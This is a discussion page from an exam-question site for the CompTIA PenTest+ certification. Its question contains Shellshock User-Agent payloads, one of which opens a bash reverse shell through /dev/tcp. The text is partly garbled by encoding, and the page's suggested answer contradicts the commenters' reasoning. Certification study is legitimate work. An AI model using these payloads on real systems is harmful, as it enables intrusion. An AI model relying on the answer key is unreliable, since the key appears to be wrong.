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Exam PT1-002 topic 1 question 93 discussion

Actual exam question from CompTIA's PT1-002
Question #: 93
Topic #: 1
[All PT1-002 Questions]

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {`User-Agent`: `() { ignored;};/bin/bash `"i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/ html,application/xhtml+xml,application/xml`}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

  • A. exploits = {ג€User-Agentג€: ג€() { ignored;};/bin/bash ג€"i id;whoamiג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  • B. exploits = {ג€User-Agentג€: ג€() { ignored;};/bin/bash ג€"i>& find / -perm -4000ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  • C. exploits = {ג€User-Agentג€: ג€() { ignored;};/bin/sh ג€"i ps ג€"efג€ 0>&1ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  • D. exploits = {ג€User-Agentג€: ג€() { ignored;};/bin/bash ג€"i>& /dev/tcp/10.10.1.1/80ג€ 0>&1ג€, ג€Acceptג€: ג€text/ html,application/xhtml+xml,application/xmlג€}
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Suggested Answer: D 🗳️

Comments

Chosen Answer:
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Davar39
Highly Voted 2 years, 1 month ago
I'll go with A, since it directly returns output regarding the user. D looks like a reverse shell.
upvoted 9 times
...
BinarySoldier
Highly Voted 2 years, 3 months ago
Why is this not A?
upvoted 5 times
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Anarckii
Most Recent 9 months ago
Selected Answer: A
Whoami
upvoted 1 times
...
Sborrainculo
1 year, 2 months ago
Selected Answer: A
whoami gives user context
upvoted 1 times
...
slizzy420
1 year, 5 months ago
Selected Answer: A
To me it is A
upvoted 3 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
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